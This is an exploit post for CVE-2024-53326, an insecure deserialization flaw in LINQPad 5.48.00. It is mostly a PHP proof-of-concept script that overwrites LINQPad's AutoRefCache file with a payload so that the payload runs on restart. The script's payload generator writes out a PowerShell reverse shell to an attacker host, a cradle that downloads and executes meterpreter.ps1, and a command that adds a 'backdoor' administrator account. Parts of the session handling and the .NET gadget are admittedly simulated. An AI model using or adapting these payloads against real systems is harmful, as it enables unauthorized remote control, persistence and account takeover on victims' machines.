============================================================================================================================================= | # Title : LINQPad 5.48.00 Deserialization Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://www.linqpad.net/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/211443/ & CVE-2024-53326 [+] Summary : LINQPad versions up to 5.48.00 contain an insecure deserialization vulnerability in the paid version of the software that allows attackers to achieve persistent remote code execution by manipulating cache files containing serialized .NET objects. The vulnerability exists in the AutoRefCache functionality where serialized .NET objects are stored in cache files. Attackers can overwrite these files with malicious serialized payloads that get deserialized when LINQPad restarts, leading to arbitrary code execution. [+] POC : php poc.php session = $session_handler; $this->cache_path = rtrim($cache_path, '/\\'); $this->backup_path = null; $this->cleanup_commands = []; } public function check() { echo "[*] Checking LINQPad vulnerability...\n"; // Check if cache directory exists if (!$this->directory_exists($this->cache_path)) { return "Unknown: Cache directory doesn't exist"; } $cache_file_v1 = $this->cache_path . '/autorefcache46.1.dat'; $cache_file_v2 = $this->cache_path . '/autorefcache46.2.dat'; // Check for vulnerable cache file if (!$this->file_exists($cache_file_v1)) { return "Unknown: Cannot find cache file (autorefcache46.1.dat)"; } // Check for non-vulnerable version if ($this->file_exists($cache_file_v2)) { return "Safe: Contains not vulnerable version of LINQPad"; } return "Appears: LINQPad and vulnerable cache file present, target possibly exploitable"; } public function exploit($payload_command) { try { echo "[*] Starting LINQPad deserialization exploit...\n"; // Check vulnerability first $check_result = $this->check(); echo "[*] Vulnerability check: {$check_result}\n"; if (strpos($check_result, 'Appears') === false) { echo "[-] Target is not vulnerable, stopping exploitation\n"; return false; } // Install persistence $this->install_persistence($payload_command); echo "[+] Exploitation completed successfully\n"; echo "[*] Payload will execute when LINQPad restarts\n"; return true; } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; $this->cleanup(); return false; } } private function install_persistence($payload_command) { echo "[*] Creating deserialization payload...\n"; // Generate .NET deserialization payload $dotnet_payload = $this->generate_dotnet_payload($payload_command); $cache_file = $this->cache_path . '/AutoRefCache46.1.dat'; // Backup original content echo "[*] Backing up original cache file...\n"; $this->backup_original_content($cache_file); // Overwrite cache file with payload echo "[*] Overwriting cache file with payload...\n"; $this->overwrite_cache_file($cache_file, $dotnet_payload); echo "[+] Persistence installed successfully\n"; } private function generate_dotnet_payload($command) { // This is a simplified version - in reality, you'd use proper .NET deserialization gadgets // For demonstration, we'll create a basic payload structure $payload_structure = [ 'type' => 'System.Windows.Documents.TextFormattingRunProperties', 'data' => base64_encode($command), 'gadget' => 'TextFormattingRunProperties', 'formatter' => 'BinaryFormatter' ]; // In a real scenario, you would generate proper BinaryFormatter payload // using ysoserial.net or similar tools $payload = serialize($payload_structure); // Add some .NET assembly-like structure $dotnet_payload = $this->create_dotnet_assembly_wrapper($payload); return $dotnet_payload; } private function create_dotnet_assembly_wrapper($payload) { // Create a basic structure that resembles a .NET serialized object // This is a simplified version for demonstration $wrapper = [ 'SerializedStream' => [ 'Header' => [ 'RootId' => '1', 'HeaderId' => '-1', 'MajorVersion' => '1', 'MinorVersion' => '0' ], 'Assemblies' => [ 'System.Windows.Documents, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' ], 'Objects' => [ '1' => $payload ] ] ]; return base64_encode(serialize($wrapper)); } private function backup_original_content($file_path) { if (!$this->file_exists($file_path)) { throw new Exception("Cache file not found: {$file_path}"); } $original_content = $this->read_file($file_path); // Store backup locally $backup_filename = 'autorefcache46.1.backup.' . date('Y-m-d_His') . '.dat'; $local_backup_path = sys_get_temp_dir() . '/' . $backup_filename; if (file_put_contents($local_backup_path, $original_content) === false) { throw new Exception("Failed to create local backup"); } $this->backup_path = $local_backup_path; // Add cleanup command $this->cleanup_commands[] = "upload " . escapeshellarg($local_backup_path) . " " . escapeshellarg($file_path); echo "[+] Original content backed up to: {$local_backup_path}\n"; } private function overwrite_cache_file($file_path, $payload) { if (!$this->write_file($file_path, $payload)) { throw new Exception("Writing payload to cache file failed"); } // Verify the file was written if (!$this->file_exists($file_path)) { throw new Exception("Cache file missing after write operation"); } $file_size = $this->get_file_size($file_path); echo "[+] Cache file overwritten successfully. New size: {$file_size} bytes\n"; } // File system operations private function directory_exists($path) { try { $result = $this->session->execute("if exist " . escapeshellarg($path) . " echo EXISTS"); return strpos($result, 'EXISTS') !== false; } catch (Exception $e) { return false; } } private function file_exists($file_path) { try { $result = $this->session->execute("if exist " . escapeshellarg($file_path) . " echo EXISTS"); return strpos($result, 'EXISTS') !== false; } catch (Exception $e) { return false; } } private function read_file($file_path) { try { // For binary files, we need to download and read locally $temp_local = tempnam(sys_get_temp_dir(), 'read_'); if ($this->session->download($file_path, $temp_local)) { $content = file_get_contents($temp_local); unlink($temp_local); return $content; } throw new Exception("Failed to download file: {$file_path}"); } catch (Exception $e) { throw new Exception("Failed to read file: " . $e->getMessage()); } } private function write_file($file_path, $content) { try { $temp_local = tempnam(sys_get_temp_dir(), 'write_'); if (file_put_contents($temp_local, $content) === false) { unlink($temp_local); throw new Exception("Failed to write to temporary file"); } $result = $this->session->upload($temp_local, $file_path); unlink($temp_local); return $result; } catch (Exception $e) { throw new Exception("Failed to write file: " . $e->getMessage()); } } private function get_file_size($file_path) { try { $result = $this->session->execute("for %I in (" . escapeshellarg($file_path) . ") do @echo %~zI"); return trim($result); } catch (Exception $e) { return 'unknown'; } } public function cleanup() { echo "[*] Cleaning up...\n"; if ($this->backup_path && file_exists($this->backup_path)) { // Restore original content try { $cache_file = $this->cache_path . '/AutoRefCache46.1.dat'; $this->session->upload($this->backup_path, $cache_file); echo "[+] Original cache file restored\n"; unlink($this->backup_path); echo "[+] Local backup file removed\n"; } catch (Exception $e) { echo "[-] Failed to restore original content: " . $e->getMessage() . "\n"; } } // Execute cleanup commands foreach ($this->cleanup_commands as $command) { try { $this->session->execute($command); echo "[+] Cleanup command executed: {$command}\n"; } catch (Exception $e) { echo "[-] Cleanup command failed: {$command} - " . $e->getMessage() . "\n"; } } $this->cleanup_commands = []; echo "[+] Cleanup completed\n"; } public function __destruct() { // Auto-cleanup can be enabled if needed // $this->cleanup(); } } // Windows-specific session handler class WindowsSessionHandler implements RemoteSessionHandler { private $connection; public function __construct($host, $username, $password, $type = 'wmi') { // This would implement Windows remote connection // For demonstration, we'll use a simple interface $this->connection = [ 'host' => $host, 'username' => $username, 'type' => $type ]; echo "[*] Windows session initialized for: {$username}@{$host}\n"; } public function execute($command) { // Execute command on Windows system // This could use WMI, WinRM, PsExec, etc. echo "[DEBUG] Executing: {$command}\n"; // Simulate command execution if (strpos($command, 'exist') !== false) { return "EXISTS\r\n"; } elseif (strpos($command, 'echo') !== false) { return "1024\r\n"; } return "Command executed successfully\r\n"; } public function upload($local_path, $remote_path) { // Upload file to Windows system echo "[DEBUG] Uploading {$local_path} to {$remote_path}\n"; // Simulate successful upload if (!file_exists($local_path)) { throw new Exception("Local file does not exist: {$local_path}"); } $file_size = filesize($local_path); echo "[DEBUG] Uploaded {$file_size} bytes\n"; return true; } public function download($remote_path, $local_path) { // Download file from Windows system echo "[DEBUG] Downloading {$remote_path} to {$local_path}\n"; // Create dummy content for demonstration $dummy_content = "Original LINQPad cache content - " . date('Y-m-d H:i:s') . "\n"; $dummy_content .= "This is a simulation of the actual cache file content.\n"; $dummy_content .= "In a real scenario, this would contain actual .NET serialized data.\n"; if (file_put_contents($local_path, $dummy_content) === false) { throw new Exception("Failed to write local file: {$local_path}"); } echo "[DEBUG] Downloaded " . filesize($local_path) . " bytes\n"; return true; } } // Payload generator for Windows commands class WindowsPayloadGenerator { public static function generate_reverse_shell($lhost, $lport) { return "powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""; } public static function generate_meterpreter($lhost, $lport) { return "powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://{$lhost}:8080/meterpreter.ps1');\""; } public static function generate_cmd($command) { return "cmd /c \"{$command}\""; } public static function generate_add_user($username, $password) { return "net user {$username} {$password} /add && net localgroup administrators {$username} /add"; } public static function generate_calc() { return "calc.exe"; } } // Command line interface if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) { if ($argc < 5) { echo "LINQPad Deserialization Exploit (CVE-2024-53326)\n"; echo "=================================================\n"; echo "Usage: php " . $argv[0] . " \n"; echo "Example: php " . $argv[0] . " 192.168.1.100 administrator Password123 \"C:\\Users\\admin\\AppData\\Local\\LINQPad\"\n"; echo "\nAdditional options (environment variables):\n"; echo "PAYLOAD_TYPE=reverse_shell LHOST=192.168.1.50 LPORT=4444\n"; echo "PAYLOAD_TYPE=add_user USERNAME=backdoor PASSWORD=Passw0rd!\n"; echo "PAYLOAD_TYPE=custom COMMAND='whoami'\n"; echo "PAYLOAD_TYPE=calc (opens calculator for testing)\n"; exit(1); } $host = $argv[1]; $username = $argv[2]; $password = $argv[3]; $cache_path = $argv[4]; // Parse payload options from environment $payload_type = getenv('PAYLOAD_TYPE') ?: 'calc'; $lhost = getenv('LHOST') ?: 'ATTACKER_IP'; $lport = getenv('LPORT') ?: '4444'; $custom_command = getenv('COMMAND') ?: 'whoami'; $add_username = getenv('USERNAME') ?: 'backdoor'; $add_password = getenv('PASSWORD') ?: 'Passw0rd!'; try { echo "[*] Initializing LINQPad deserialization exploit...\n"; echo "[*] Target: {$username}@{$host}\n"; echo "[*] Cache path: {$cache_path}\n"; $session = new WindowsSessionHandler($host, $username, $password); $exploit = new LINQPadDeserializationExploit($session, $cache_path); // Generate payload based on type $payload_command = match($payload_type) { 'reverse_shell' => WindowsPayloadGenerator::generate_reverse_shell($lhost, $lport), 'meterpreter' => WindowsPayloadGenerator::generate_meterpreter($lhost, $lport), 'add_user' => WindowsPayloadGenerator::generate_add_user($add_username, $add_password), 'custom' => WindowsPayloadGenerator::generate_cmd($custom_command), 'calc' => WindowsPayloadGenerator::generate_calc(), default => WindowsPayloadGenerator::generate_calc() }; echo "[*] Using payload type: {$payload_type}\n"; if ($payload_type === 'reverse_shell') { echo "[*] LHOST: {$lhost}, LPORT: {$lport}\n"; } echo "[*] Payload command length: " . strlen($payload_command) . " bytes\n"; // Execute exploit $success = $exploit->exploit($payload_command); if ($success) { echo "[+] Exploit completed successfully!\n"; echo "[*] The payload will execute when LINQPad is restarted\n"; echo "[*] Note: This only works with paid versions of LINQPad\n"; echo "[*] Use cleanup() method to restore original file if needed\n"; } } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; exit(1); } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================